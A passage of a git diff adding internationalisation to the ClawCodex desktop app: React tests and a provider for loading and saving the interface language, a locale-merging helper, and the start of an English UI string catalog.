+    expect(screen.getByTestId('label').textContent).toBe('语言')
+    expect(configClient.saveConfig).not.toHaveBeenCalled()
+  })
+
+  it('keeps English usable when config loading fails', async () => {
+    const configClient: I18nConfigClient = {
+      getConfig: vi.fn().mockRejectedValue(new Error('config unavailable')),
+      saveConfig: vi.fn()
+    }
+
+    render(
+      <I18nProvider configClient={configClient} initialLocale="zh">
+        <LanguageProbe />
+      </I18nProvider>
+    )
+
+    await waitFor(() => expect(screen.getByTestId('loading').textContent).toBe('false'))
+
+    expect(screen.getByTestId('locale').textContent).toBe('en')
+    expect(screen.getByTestId('label').textContent).toBe('Language')
+    expect(configClient.saveConfig).not.toHaveBeenCalled()
+  })
+
+  it('loads zh-hant from display.language config', async () => {
+    const configClient: I18nConfigClient = {
+      getConfig: vi.fn().mockResolvedValue({ display: { language: 'zh-TW' } }),
+      saveConfig: vi.fn()
+    }
+
+    render(
+      <I18nProvider configClient={configClient} initialLocale="zh">
+        <LanguageProbe />
+      </I18nProvider>
+    )
+
+    await waitFor(() => expect(screen.getByTestId('loading').textContent).toBe('false'))
+
+    expect(screen.getByTestId('locale').textContent).toBe('zh-hant')
+    expect(screen.getByTestId('save').textContent).toBe('儲存')
+    expect(configClient.saveConfig).not.toHaveBeenCalled()
+  })
+
+  it('loads ja from display.language config', async () => {
+    const configClient: I18nConfigClient = {
+      getConfig: vi.fn().mockResolvedValue({ display: { language: 'ja-JP' } }),
+      saveConfig: vi.fn()
+    }
+
+    render(
+      <I18nProvider configClient={configClient}>
+        <LanguageProbe />
+      </I18nProvider>
+    )
+
+    await waitFor(() => expect(screen.getByTestId('loading').textContent).toBe('false'))
+
+    expect(screen.getByTestId('locale').textContent).toBe('ja')
+    expect(screen.getByTestId('save').textContent).toBe('保存')
+    expect(configClient.saveConfig).not.toHaveBeenCalled()
+  })
+
+  it('does not overwrite unsupported configured languages', async () => {
+    const configClient: I18nConfigClient = {
+      getConfig: vi.fn().mockResolvedValue({ display: { language: 'de' } }),
+      saveConfig: vi.fn()
+    }
+
+    render(
+      <I18nProvider configClient={configClient} initialLocale="zh">
+        <LanguageProbe />
+      </I18nProvider>
+    )
+
+    await waitFor(() => expect(screen.getByTestId('loading').textContent).toBe('false'))
+
+    expect(screen.getByTestId('locale').textContent).toBe('en')
+    expect(screen.getByTestId('label').textContent).toBe('Language')
+    expect(configClient.saveConfig).not.toHaveBeenCalled()
+  })
+
+  it('reads latest config before saving language and preserves unrelated values', async () => {
+    const saveConfig = vi.fn().mockResolvedValue({ ok: true })
+
+    const latestConfig: ClawCodexConfigRecord = {
+      display: { language: 'en', skin: 'slate' },
+      terminal: { cwd: '/new' }
+    }
+
+    const configClient: I18nConfigClient = {
+      getConfig: vi
+        .fn()
+        .mockResolvedValueOnce({ display: { language: 'en', skin: 'mono' }, terminal: { cwd: '/old' } })
+        .mockResolvedValueOnce(latestConfig),
+      saveConfig
+    }
+
+    render(
+      <I18nProvider configClient={configClient}>
+        <LanguageProbe />
+      </I18nProvider>
+    )
+
+    await waitFor(() => expect(screen.getByTestId('loading').textContent).toBe('false'))
+    fireEvent.click(screen.getByRole('button', { name: 'switch' }))
+
+    await waitFor(() => expect(saveConfig).toHaveBeenCalledTimes(1))
+    expect(saveConfig).toHaveBeenCalledWith({
+      display: { language: 'zh', skin: 'slate' },
+      terminal: { cwd: '/new' }
+    })
+  })
+
+  it('saves newly supported locales to display.language', async () => {
+    const saveConfig = vi.fn().mockResolvedValue({ ok: true })
+
+    const configClient: I18nConfigClient = {
+      getConfig: vi
+        .fn()
+        .mockResolvedValueOnce({ display: { language: 'en' } })
+        .mockResolvedValueOnce({ display: { language: 'en', skin: 'mono' } }),
+      saveConfig
+    }
+
+    render(
+      <I18nProvider configClient={configClient}>
+        <LanguageProbe target="ja" />
+      </I18nProvider>
+    )
+
+    await waitFor(() => expect(screen.getByTestId('loading').textContent).toBe('false'))
+    fireEvent.click(screen.getByRole('button', { name: 'switch' }))
+
+    await waitFor(() => expect(saveConfig).toHaveBeenCalledTimes(1))
+    expect(saveConfig).toHaveBeenCalledWith({ display: { language: 'ja', skin: 'mono' } })
+    expect(screen.getByTestId('locale').textContent).toBe('ja')
+  })
+
+  it('applies RTL direction for Arabic and restores LTR on switch back', async () => {
+    render(
+      <I18nProvider configClient={null} initialLocale="ar">
+        <LanguageProbe target="en" />
+      </I18nProvider>
+    )
+
+    expect(screen.getByTestId('locale').textContent).toBe('ar')
+    expect(document.documentElement.dir).toBe('rtl')
+    expect(document.documentElement.lang).toBe('ar')
+
+    fireEvent.click(screen.getByRole('button', { name: 'switch' }))
+
+    await waitFor(() => expect(screen.getByTestId('locale').textContent).toBe('en'))
+    expect(document.documentElement.dir).toBe('ltr')
+    expect(document.documentElement.lang).toBe('en')
+  })
+
+  it('rolls back the visible locale when saving fails', async () => {
+    const configClient: I18nConfigClient = {
+      getConfig: vi.fn().mockResolvedValue({ display: { language: 'en' } }),
+      saveConfig: vi.fn().mockRejectedValue(new Error('save failed'))
+    }
+
+    render(
+      <I18nProvider configClient={configClient}>
+        <LanguageProbe />
+      </I18nProvider>
+    )
+
+    await waitFor(() => expect(screen.getByTestId('loading').textContent).toBe('false'))
+    fireEvent.click(screen.getByRole('button', { name: 'switch' }))
+
+    await waitFor(() => expect(screen.getByTestId('save-error').textContent).toBe('save failed'))
+
+    expect(screen.getByTestId('locale').textContent).toBe('en')
+    expect(screen.getByTestId('label').textContent).toBe('Language')
+  })
+})
diff --git a/ui-desktop/src/i18n/context.tsx b/ui-desktop/src/i18n/context.tsx
new file mode 100644
index 000000000..3838319a4
--- /dev/null
+++ b/ui-desktop/src/i18n/context.tsx
@@ -0,0 +1,196 @@
+import { createContext, type ReactNode, useCallback, useContext, useEffect, useMemo, useRef, useState } from 'react'
+
+import { type ClawCodexConfigRecord, getClawCodexConfigRecord, saveClawCodexConfig } from '@/clawcodex'
+
+import { TRANSLATIONS } from './catalog'
+import { DEFAULT_LOCALE, localeConfigValue, normalizeLocale } from './languages'
+import { setRuntimeI18nLocale } from './runtime'
+import type { Locale, Translations } from './types'
+
+export { LOCALE_META } from './languages'
+
+export interface I18nConfigClient {
+  getConfig: () => Promise<ClawCodexConfigRecord>
+  saveConfig: (config: ClawCodexConfigRecord) => Promise<{ ok: boolean }>
+}
+
+const defaultConfigClient: I18nConfigClient = {
+  getConfig: () => {
+    if (typeof window === 'undefined' || !window.clawcodexDesktop?.api) {
+      return Promise.resolve({})
+    }
+
+    return getClawCodexConfigRecord()
+  },
+  saveConfig: config => {
+    if (typeof window === 'undefined' || !window.clawcodexDesktop?.api) {
+      return Promise.resolve({ ok: true })
+    }
+
+    return saveClawCodexConfig(config)
+  }
+}
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+export function getConfigDisplayLanguage(config: ClawCodexConfigRecord): unknown {
+  return isRecord(config.display) ? config.display.language : undefined
+}
+
+export function withConfigDisplayLanguage(config: ClawCodexConfigRecord, locale: Locale): ClawCodexConfigRecord {
+  const display = isRecord(config.display) ? config.display : {}
+
+  return {
+    ...config,
+    display: {
+      ...display,
+      language: localeConfigValue(locale)
+    }
+  }
+}
+
+function toError(error: unknown): Error {
+  return error instanceof Error ? error : new Error(String(error))
+}
+
+const RTL_LOCALES = new Set<Locale>(['ar'])
+
+function applyDocumentLocale(locale: Locale) {
+  if (typeof document === 'undefined') {
+    return
+  }
+
+  document.documentElement.lang = locale
+  document.documentElement.dir = RTL_LOCALES.has(locale) ? 'rtl' : 'ltr'
+}
+
+export interface I18nContextValue {
+  configLoadError: Error | null
+  isLoadingConfig: boolean
+  isSavingLocale: boolean
+  locale: Locale
+  saveError: Error | null
+  setLocale: (next: Locale) => Promise<void>
+  t: Translations
+}
+
+const I18nContext = createContext<I18nContextValue>({
+  configLoadError: null,
+  isLoadingConfig: false,
+  isSavingLocale: false,
+  locale: DEFAULT_LOCALE,
+  saveError: null,
+  setLocale: async () => {},
+  t: TRANSLATIONS[DEFAULT_LOCALE]
+})
+
+export interface I18nProviderProps {
+  children: ReactNode
+  configClient?: I18nConfigClient | null
+  initialLocale?: unknown
+}
+
+export function I18nProvider({ children, configClient = defaultConfigClient, initialLocale }: I18nProviderProps) {
+  const [locale, setLocaleState] = useState<Locale>(() => normalizeLocale(initialLocale))
+  const [isLoadingConfig, setIsLoadingConfig] = useState(false)
+  const [isSavingLocale, setIsSavingLocale] = useState(false)
+  const [configLoadError, setConfigLoadError] = useState<Error | null>(null)
+  const [saveError, setSaveError] = useState<Error | null>(null)
+  const localeRef = useRef(locale)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    localeRef.current = locale
+    setRuntimeI18nLocale(locale)
+    applyDocumentLocale(locale)
+  }, [locale])
+
+  useEffect(() => {
+    if (!configClient) {
+      return
+    }
+
+    let cancelled = false
+
+    setIsLoadingConfig(true)
+    setConfigLoadError(null)
+
+    configClient
+      .getConfig()
+      .then(config => {
+        if (!cancelled) {
+          setLocaleState(normalizeLocale(getConfigDisplayLanguage(config)))
+        }
+      })
+      .catch(error => {
+        if (!cancelled) {
+          setConfigLoadError(toError(error))
+          setLocaleState(DEFAULT_LOCALE)
+        }
+      })
+      .finally(() => {
+        if (!cancelled) {
+          setIsLoadingConfig(false)
+        }
+      })
+
+    return () => {
+      cancelled = true
+    }
+  }, [configClient, initialLocale])
+
+  const setLocale = useCallback(
+    async (next: Locale) => {
+      const previousLocale = localeRef.current
+
+      setSaveError(null)
+      setLocaleState(next)
+
+      if (!configClient) {
+        return
+      }
+
+      setIsSavingLocale(true)
+
+      try {
+        const latestConfig = await configClient.getConfig()
+        const result = await configClient.saveConfig(withConfigDisplayLanguage(latestConfig, next))
+
+        if (!result.ok) {
+          throw new Error('Failed to save language')
+        }
+      } catch (error) {
+        const nextError = toError(error)
+
+        setLocaleState(previousLocale)
+        setSaveError(nextError)
+
+        throw nextError
+      } finally {
+        setIsSavingLocale(false)
+      }
+    },
+    [configClient]
+  )
+
+  const value = useMemo<I18nContextValue>(
+    () => ({
+      configLoadError,
+      isLoadingConfig,
+      isSavingLocale,
+      locale,
+      saveError,
+      setLocale,
+      t: TRANSLATIONS[locale]
+    }),
+    [configLoadError, isLoadingConfig, isSavingLocale, locale, saveError, setLocale]
+  )
+
+  return <I18nContext.Provider value={value}>{children}</I18nContext.Provider>
+}
+
+export function useI18n(): I18nContextValue {
+  return useContext(I18nContext)
+}
diff --git a/ui-desktop/src/i18n/define-locale.ts b/ui-desktop/src/i18n/define-locale.ts
new file mode 100644
index 000000000..bb6f29f6f
--- /dev/null
+++ b/ui-desktop/src/i18n/define-locale.ts
@@ -0,0 +1,41 @@
+import { en } from './en'
+import type { Translations } from './types'
+
+type TranslationOverride<T> = T extends (...args: never[]) => string
+  ? T
+  : T extends readonly unknown[]
+    ? T
+    : T extends string
+      ? string
+      : T extends object
+        ? { [K in keyof T]?: TranslationOverride<T[K]> }
+        : T
+
+export type TranslationOverrides = TranslationOverride<Translations>
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+function mergeTranslations<T>(base: T, overrides: TranslationOverride<T> | undefined): T {
+  if (!isRecord(base) || !isRecord(overrides)) {
+    return (overrides ?? base) as T
+  }
+
+  const result: Record<string, unknown> = { ...base }
+
+  for (const [key, value] of Object.entries(overrides)) {
+    if (value === undefined) {
+      continue
+    }
+
+    const baseValue = result[key]
+    result[key] = isRecord(baseValue) && isRecord(value) ? mergeTranslations(baseValue, value) : value
+  }
+
+  return result as T
+}
+
+export function defineLocale(overrides: TranslationOverrides): Translations {
+  return mergeTranslations<Translations>(en, overrides)
+}
diff --git a/ui-desktop/src/i18n/en.ts b/ui-desktop/src/i18n/en.ts
new file mode 100644
index 000000000..72ac4f8f2
--- /dev/null
+++ b/ui-desktop/src/i18n/en.ts
@@ -0,0 +1,2984 @@
+import { FIELD_DESCRIPTIONS, FIELD_LABELS } from '@/app/settings/constants'
+
+import type { Translations } from './types'
+
+export const en: Translations = {
+  common: {
+    apply: 'Apply',
+    back: 'Back',
+    save: 'Save',
+    saving: 'Saving…',
+    cancel: 'Cancel',
+    change: 'Change',
+    choose: 'Choose',
+    clear: 'Clear',
+    close: 'Close',
+    collapse: 'Collapse',
+    confirm: 'Confirm',
+    connect: 'Connect',
+    connecting: 'Connecting',
+    continue: 'Continue',
+    copied: 'Copied',
+    copy: 'Copy',
+    copyFailed: 'Copy failed',
+    delete: 'Delete',
+    docs: 'Docs',
+    done: 'Done',
+    error: 'Error',
+    expand: 'Expand',
+    failed: 'Failed',
+    formatJson: 'Format JSON',
+    free: 'Free',
+    loading: 'Loading…',
+    notSet: 'Not set',
+    refresh: 'Refresh',
+    remove: 'Remove',
+    replace: 'Replace',
+    retry: 'Retry',
+    run: 'Run',
+    send: 'Send',
+    set: 'Set',
+    skip: 'Skip',
+    update: 'Update',
+    tryHint: term => `Try “${term}”`,
+    on: 'On',
+    off: 'Off'
+  },
+
+  fileMenu: {
+    revealFinder: 'Reveal in Finder',
+    revealExplorer: 'Reveal in File Explorer',
+    revealFileManager: 'Open Containing Folder',
+    revealInSidebar: 'Reveal in filetree',
+    copyPath: 'Copy Path',
+    copyRelativePath: 'Copy Relative Path',
+    rename: 'Rename…',
+    delete: 'Delete',
+    renameTitle: 'Rename',
+    renameLabel: 'New name',
+    deleteTitle: name => `Delete ${name}?`,
+    deleteBody: 'It will be moved to the Trash — you can restore it from there.',
+    pathCopied: 'Path copied'
+  },
+
+  boot: {
+    ready: 'ClawCodex Desktop is ready',
+    desktopBootFailedWithMessage: message => `Desktop boot failed: ${message}`,
+    steps: {
+      connectingGateway: 'Connecting live desktop gateway',
+      loadingSettings: 'Loading ClawCodex settings',
+      loadingSessions: 'Loading recent sessions',
+      startingDesktopConnection: 'Starting desktop connection',
+      startingClawCodexDesktop: 'Starting ClawCodex Desktop…'
+    },
+    errors: {
+      backgroundExited: 'ClawCodex background process exited.',
+      backgroundExitedDuringStartup: 'ClawCodex background process exited during startup.',
+      backendStopped: 'Backend stopped',
+      desktopBootFailed: 'Desktop boot failed',
+      gatewayConnectionLost: 'Lost connection to the gateway',
+      gatewaySignInRequired: 'Gateway sign-in required',
+      ipcBridgeUnavailable: 'Desktop IPC bridge is unavailable.'
+    },
+    failure: {
+      title: "ClawCodex couldn't start",
+      description:
+        "The background gateway didn't come up. Try one of the recovery steps below. Nothing here deletes your chats or settings.",
+      remoteTitle: 'Remote gateway sign-in required',
+      remoteDescription:
+        'Your remote gateway session has expired. Sign in again to reconnect. Nothing here deletes your chats or settings.',
+      retry: 'Retry',
+      repairInstall: 'Repair install',
+      useLocalGateway: 'Use local gateway',
+      gatewaySettings: 'Gateway settings',
+      back: 'Back',
+      openLogs: 'Open logs',
+      repairHint: 'Repair re-runs the installer and can take a few minutes on a fresh machine.',
+      remoteSignInHint: signInLabel =>
+        `Signs out of the saved remote browser session, then opens ${signInLabel}. Use local gateway to switch to the bundled backend instead.`,
+      signOutAndSignIn: 'Sign out & sign in',
+      remoteFailureHint: 'Check the gateway URL and sign-in under Gateway settings, or switch to the local gateway.',
+      hideRecentLogs: 'Hide recent logs',
+      showRecentLogs: 'Show recent logs',
+      signedInTitle: 'Signed in',
+      signedInMessage: 'Reconnecting to the remote gateway…',
+      signInIncompleteTitle: 'Sign-in incomplete',
+      signInIncompleteMessage: 'The login window closed before authentication finished.',
+      signInFailed: 'Sign-in failed',
+      signInToRemoteGateway: 'Sign in to remote gateway',
+      signInWithProvider: provider => `Sign in with ${provider}`,
+      identityProvider: 'your identity provider'
+    }
+  },
+
+  notifications: {
+    region: 'Notifications',
+    hide: 'Hide',
+    show: 'Show',
+    more: count => `${count} more ${count === 1 ? 'notification' : 'notifications'}`,
+    clearAll: 'Clear all',
+    dismiss: 'Dismiss notification',
+    details: 'Details',
+    copyDetail: 'Copy detail',
+    copyDetailFailed: 'Could not copy notification detail',
+    backendOutOfDateTitle: 'Backend out of date',
+    backendOutOfDateMessage:
+      'Your ClawCodex backend is older than this desktop build and may not work correctly. Update to align them.',
+    installMethodUnsupportedTitle: 'Unsupported install method',
+    updateClawCodex: 'Update ClawCodex',
+    updateReadyTitle: 'Update ready',
+    updateReadyMessage: count => `${count} new change${count === 1 ? '' : 's'} available.`,
+    seeWhatsNew: "See what's new",
+    errors: {
+      elevenLabsNeedsKey: 'ElevenLabs STT needs ELEVENLABS_API_KEY.',
+      elevenLabsRejectedKey: 'ElevenLabs rejected the API key (401).',
+      diskFull: 'Disk full — free some space, then try again.',
+      gatewayAuthFailed: 'Gateway authentication failed — check your API_SERVER_KEY.',
+      methodNotAllowed:
+        'The desktop backend rejected that request (405 Method Not Allowed). Try restarting ClawCodex Desktop.',
+      microphonePermission: 'Microphone permission was denied.',
+      openaiRejectedApiKey: 'OpenAI rejected the API key.',
+      openaiRejectedApiKeyWithStatus: status => `OpenAI rejected the API key (${status} invalid_api_key).`,
+      openaiTtsNeedsKey: 'OpenAI TTS needs VOICE_TOOLS_OPENAI_KEY or OPENAI_API_KEY.'
+    },
+    voice: {
+      configureSpeechToText: 'Configure speech-to-text to use voice mode.',
+      couldNotStartSession: 'Could not start voice session',
+      microphoneAccessDenied: 'Microphone access denied.',
+      microphoneConstraintsUnsupported: 'Microphone constraints are not supported by this device.',
+      microphoneFailed: 'Microphone failed',
+      microphoneInUse: 'Microphone is already in use by another app.',
+      microphonePermissionDenied: 'Microphone permission was denied.',
+      microphoneStartFailed: 'Could not start microphone recording.',
+      microphoneUnsupported: 'This runtime does not support microphone recording.',
+      noMicrophone: 'No microphone was found.',
+      noSpeechDetected: 'No speech detected',
+      playbackFailed: 'Voice playback failed',
+      recordingFailed: 'Voice recording failed',
+      sayStopToEnd: phrase => `Say "${phrase}" to end the voice chat.`,
+      transcriptionFailed: 'Voice transcription failed',
+      transcriptionUnavailable: 'Voice transcription is not available yet.',
+      tryRecordingAgain: 'Try recording again.',
+      unavailable: 'Voice unavailable'
+    },
+    native: {
+      approvalTitle: 'Approval needed',
+      approveAction: 'Approve',
+      rejectAction: 'Reject',
+      inputTitle: 'Input needed',
+      inputBody: 'ClawCodex is waiting for your response.',
+      turnDoneTitle: 'ClawCodex finished',
+      turnDoneBody: '',
+      turnErrorTitle: 'Turn failed',
+      backgroundDoneTitle: 'Background task finished',
+      backgroundFailedTitle: 'Background task failed',
+      creditsTitle: 'Credits'
+    }
+  },
+
+  remoteDisplayBanner: {
+    message: reason =>
+      `Software rendering active — remote display detected (${reason}). GPU acceleration is disabled to prevent flickering.`
+  },
+
+  billingBlock: {
+    titleNous: 'Out of Nous credits',
+    titleProvider: provider => `Out of credits — ${provider}`,
+    fallbackMessage: 'Your account is out of credits. Add credits to keep going.',
+    openBilling: 'Open billing',
+    addCredits: 'Add credits',
+    dismiss: 'Dismiss'
+  },
+
+  titlebar: {
+    hideSidebar: 'Hide sidebar',
+    showSidebar: 'Show sidebar',
+    search: 'Search',
+    searchTitle: 'Search sessions, views, and actions',
+    swapSidebarSides: 'Swap sidebar sides',
+    hideRightSidebar: 'Hide right sidebar',
+    showRightSidebar: 'Show right sidebar',
+    muteHaptics: 'Mute haptics',
+    unmuteHaptics: 'Unmute haptics',
+    openSettings: 'Open settings',
+    openStarmap: 'Open memory graph',
+    openKeybinds: 'Keyboard shortcuts',
+    layoutEditor: 'Layout editor',
+    layoutEditorTitle: 'Layout editor — ⌘-click resets the layout'
+  },
+
+  keybinds: {
+    title: 'Keyboard shortcuts',
+    subtitle: open => `Click a shortcut to rebind it · ${open} reopens this panel.`,
+    search: 'Search shortcuts…',
+    rebind: 'Rebind',
+    reset: 'Reset to default',
+    resetAll: 'Reset all',
+    pressKey: 'Press a key…',
+    set: 'set',
+    conflictWith: label => `Also bound to “${label}”`,
+    categories: {
+      composer: 'Composer',
+      profiles: 'Profiles',
+      session: 'Session',
+      navigation: 'Navigation',
+      view: 'View'
+    },
+    actions: {
+      'keybinds.openPanel': 'Open keyboard shortcuts',
+      'nav.commandPalette': 'Open command palette',
+      'nav.commandCenter': 'Open command center',
+      'nav.settings': 'Open settings',
+      'nav.profiles': 'Open profiles',
+      'nav.skills': 'Open skills',
+      'nav.messaging': 'Open messaging',
+      'nav.artifacts': 'Open artifacts',
+      'nav.cron': 'Open scheduled jobs',
+      'nav.agents': 'Open agents',
+      'session.new': 'New session',
+      'session.newTab': 'New session tab',
+      'session.newWindow': 'New window',
+      'session.next': 'Next session',
+      'session.prev': 'Previous session',
+      'session.slot.1': 'Switch to recent session 1',
+      'session.slot.2': 'Switch to recent session 2',
+      'session.slot.3': 'Switch to recent session 3',
+      'session.slot.4': 'Switch to recent session 4',
+      'session.slot.5': 'Switch to recent session 5',
+      'session.slot.6': 'Switch to recent session 6',
+      'session.slot.7': 'Switch to recent session 7',
+      'session.slot.8': 'Switch to recent session 8',
+      'session.slot.9': 'Switch to recent session 9',
+      'session.focusSearch': 'Search sessions',
+      'session.togglePin': 'Pin / unpin current session',
+      'workspace.newWorktree': 'New worktree',
+      'workspace.openFolder': 'Open folder as project',
+      'composer.focus': 'Focus composer',
+      'composer.modelPicker': 'Open model picker',
+      'composer.voice': 'Start / stop voice conversation',
+      'view.toggleSidebar': 'Toggle sessions sidebar',
+      'view.toggleRightSidebar': 'Toggle file browser',
+      'view.toggleReview': 'Toggle review pane',
+      'view.toggleStatusbar': 'Toggle status bar',
+      'view.showFiles': 'Show file browser',
+      'view.showTerminal': 'Toggle terminal',
+      'view.newTerminal': 'New terminal',
+      'view.nextTerminal': 'Next terminal',
+      'view.prevTerminal': 'Previous terminal',
+      'view.closeTerminal': 'Close terminal',
+      'view.terminalSelection': 'Send terminal selection to composer',
+      'view.terminalCopy': 'Copy terminal selection',
+      'view.terminalPaste': 'Paste into terminal',
+      'view.closeTab': 'Close tab',
+      'view.reopenTab': 'Reopen closed tab',
+      'view.flipPanes': 'Swap sidebar sides',
+      'view.findInPage': 'Find in page',
+      'view.findNext': 'Find next match',
+      'view.findPrevious': 'Find previous match',
+      'appearance.toggleMode': 'Toggle light / dark',
+      'profile.default': 'Switch to default profile',
+      'profile.switch.1': 'Switch to profile 1',
+      'profile.switch.2': 'Switch to profile 2',
+      'profile.switch.3': 'Switch to profile 3',
+      'profile.switch.4': 'Switch to profile 4',
+      'profile.switch.5': 'Switch to profile 5',
+      'profile.switch.6': 'Switch to profile 6',
+      'profile.switch.7': 'Switch to profile 7',
+      'profile.switch.8': 'Switch to profile 8',
+      'profile.switch.9': 'Switch to profile 9',
+      'profile.switch.10': 'Switch to profile 10',
+      'profile.switch.11': 'Switch to profile 11',
+      'profile.switch.12': 'Switch to profile 12',
+      'profile.switch.13': 'Switch to profile 13',
+      'profile.switch.14': 'Switch to profile 14',
+      'profile.switch.15': 'Switch to profile 15',
+      'profile.switch.16': 'Switch to profile 16',
+      'profile.switch.17': 'Switch to profile 17',
+      'profile.switch.18': 'Switch to profile 18',
+      'profile.next': 'Next profile',
+      'profile.prev': 'Previous profile',
+      'profile.toggleAll': 'Toggle all-profiles view',
+      'profile.create': 'Create profile',
+      'composer.send': 'Send message',
+      'composer.newline': 'Insert newline',
+      'composer.steer': 'Steer the running turn',
+      'composer.queue': 'Queue message',
+      'composer.sendQueued': 'Send next queued turn',
+      'composer.mention': 'Reference files, folders, URLs',
+      'composer.slash': 'Slash command palette',
+      'composer.help': 'Quick help',
+      'composer.history': 'Cycle popover / history',
+      'composer.cancel': 'Close popover · cancel run'
+    }
+  },
+
+  findInPage: {
+    next: 'Next match',
+    previous: 'Previous match'
+  },
+
+  language: {
+    label: 'Language',
+    description: 'Choose the language for the desktop interface.',
+    saving: 'Saving language…',
+    saveError: 'Language update failed',
+    switchTo: 'Switch language',
+    searchPlaceholder: 'Search languages…',
+    noResults: 'No languages found'
+  },
+
+  settings: {
+    closeSettings: 'Close settings',
+    exportConfig: 'Export config',
+    importConfig: 'Import config',
+    resetToDefaults: 'Reset to defaults',
+    resetConfirm: 'Reset all settings to ClawCodex defaults?',
+    exportFailed: 'Export failed',
+    resetFailed: 'Reset failed',
+    nav: {
+      providers: 'Providers',
+      providerAccounts: 'Accounts',
+      providerApiKeys: 'API keys',
+      providerCustomEndpoints: 'Custom Endpoints',
+      gateway: 'Gateway',
+      apiKeys: 'Tools & Keys',
+      keybinds: 'Keyboard Shortcuts',
+      keysTools: 'Tools',
+      keysSettings: 'Settings',
+      mcp: 'MCP',
+      archivedChats: 'Archived Chats',
+      about: 'About',
+      billing: 'Billing',
+      notifications: 'Notifications',
+      plugins: 'Plugins'
+    },
+    plugins: {
+      title: 'Desktop plugins',
+      blurb: 'Bundled or dropped into the desktop-plugins folder. Disable to unload live.',
+      count: n => `${n} installed`,
+      openFolder: 'Open plugins folder',
+      rescan: 'Rescan',
+      reveal: 'Reveal in file manager',
+      enable: 'Enable',
+      disable: 'Disable',
+      failed: 'failed',
+      empty: 'No desktop plugins installed yet.',
+      kinds: { bundled: 'bundled', disk: 'on disk', runtime: 'runtime' }
+    },
+    notifications: {
+      title: 'Notifications',
+      intro: 'OS notifications (not in-app toasts). Per device.',
+      enableAll: 'Enable notifications',
+      enableAllDesc: 'Off silences every notification below.',
+      focusedHint: 'Completion alerts only fire while ClawCodex is in the background.',
+      kinds: {
+        approval: {
+          label: 'Approval needed',
+          description: 'A command is waiting for you to approve or reject it.'
+        },
+        input: {
+          label: 'Input needed',
+          description: 'ClawCodex asked a question or needs a password or secret.'
+        },
+        turnDone: {
+          label: 'Response ready',
+          description: 'A turn finished while ClawCodex was in the background.'
+        },
+        turnError: {
+          label: 'Turn failed',
+          description: 'Background turn errors.'
+        },
+        backgroundDone: {
+          label: 'Background task finished',
+          description: 'A backgrounded terminal command completed.'
+        },
+        credits: {
+          label: 'Credit alerts',
+          description: 'Credit access is paused or restored.'
+        },
+        plugin: {
+          label: 'Plugin notifications',
+          description: 'A desktop plugin sent a notification while ClawCodex was in the background.'
+        }
+      },
+      test: 'Send test notification',
+      testTitle: 'ClawCodex',
+      testBody: 'Notifications are working.',
+      testSent: 'Test sent. If nothing appears, check your OS notification permissions and Focus/Do Not Disturb.',
+      testUnsupported: 'This system does not support native notifications.',
+      completionSoundTitle: 'Completion Sound',
+      completionSoundDesc: 'Plays when an agent turn finishes. Pick a preset and preview it here.',
+      completionSoundPreview: 'Preview'
+    },
+    sections: {
+      model: 'Model',
+      chat: 'Chat',
+      appearance: 'Appearance',
+      workspace: 'Workspace',
+      safety: 'Safety',
+      memory: 'Memory & Context',
+      voice: 'Voice',
+      advanced: 'Advanced'
+    },
+    searchPlaceholder: {
+      about: 'About ClawCodex Desktop',
+      config: 'Search settings...',
+      gateway: 'Gateway connection...',
+      keys: 'Search API keys...',
+      mcp: 'Search MCP servers...',
+      sessions: 'Search archived sessions...'
+    },
+    modeOptions: {
+      light: { label: 'Light', description: 'Bright desktop surfaces' },
+      dark: { label: 'Dark', description: 'Low-glare workspace' },
+      system: { label: 'System', description: 'Follow OS appearance' }
+    },
+    appearance: {
+      title: 'Appearance',
+      intro: 'Desktop-only. Mode is brightness; theme is palette and chat chrome.',
+      colorMode: 'Color Mode',
+      colorModeDesc: 'Pick a fixed mode or let ClawCodex follow your system setting.',
+      toolViewTitle: 'Tool Call Display',
+      toolViewDesc: 'Product hides raw tool payloads; Technical shows full input/output.',
+      uiScaleTitle: 'UI Scale',
+      uiScaleDesc: (percent: number) =>
+        `Scales text and controls across the whole app. Cmd/Ctrl with +, - and 0 also works. Current: ${percent}%.`,
+      terminalFontTitle: 'Terminal Font',
+      terminalFontDesc:
+        'Choose an installed font for Desktop terminals. Nerd Fonts render Powerlevel10k and shell icons; leave blank to use bundled JetBrains Mono.',
+      terminalFontPlaceholder: 'MesloLGS NF or a CSS font stack',
+      terminalFontPreview: 'Glyph preview',
+      terminalFontReset: 'Use default',
+      translucencyTitle: 'Window Translucency',
+      translucencyDesc: 'See your desktop through the whole window. macOS and Windows only.',
+      backdropTitle: 'Chat Backdrop',
+      backdropDesc: 'The faint statue image behind the conversation.',
+      reactionsTitle: 'Message Reactions',
+      reactionsDesc: 'iMessage-style emoji tapbacks — react to messages, and ClawCodex can react to yours.',
+      embedsTitle: 'Inline Embeds',
+      embedsDesc:
+        'Rich previews load from third-party sites (YouTube, X, …). Ask shows a placeholder until you allow each one; Always loads them automatically; Off keeps plain links.',
+      embedsAsk: 'Ask',
+      embedsAlways: 'Always',
+      embedsOff: 'Off',
+      embedsReset: (count: number) => `Reset ${count} allowed ${count === 1 ? 'service' : 'services'}`,
+      product: 'Product',
+      productDesc: 'Human-friendly tool activity with concise summaries.',
+      technical: 'Technical',
+      technicalDesc: 'Include raw tool args/results and low-level details.',
+      themeTitle: 'Theme',
+      themeDesc: 'Desktop palettes only. The selected mode is applied on top.',
+      themeProfileNote: profile => `Saved for the ${profile} profile — each profile keeps its own theme.`,
+      installTitle: 'Install from VS Code',
+      installDesc:
+        'Paste a Marketplace extension id (e.g. dracula-theme.theme-dracula) to convert its color theme into a desktop palette.',
+      installPlaceholder: 'publisher.extension',
+      installButton: 'Install',
+      installing: 'Installing…',
+      installError: 'Could not install that theme.',
+      installed: name => `Installed “${name}”.`,
+      removeTheme: 'Remove theme',
+      importedBadge: 'Imported',
+      pet: {
+        title: 'Pet',
+        intro:
+          'Adopt an animated petdex mascot that floats over the app and reacts to what ClawCodex is doing — running while tools execute, celebrating on success, sulking on errors.',
+        restartHint:
+          'Pets need a quick restart — the running app started before this feature was added. Quit and reopen ClawCodex, then come back here.',
+        on: 'On',
+        off: 'Off',
+        scaleTitle: 'Size',
+        scaleDesc: 'Resize the floating mascot. Applies everywhere instantly.',
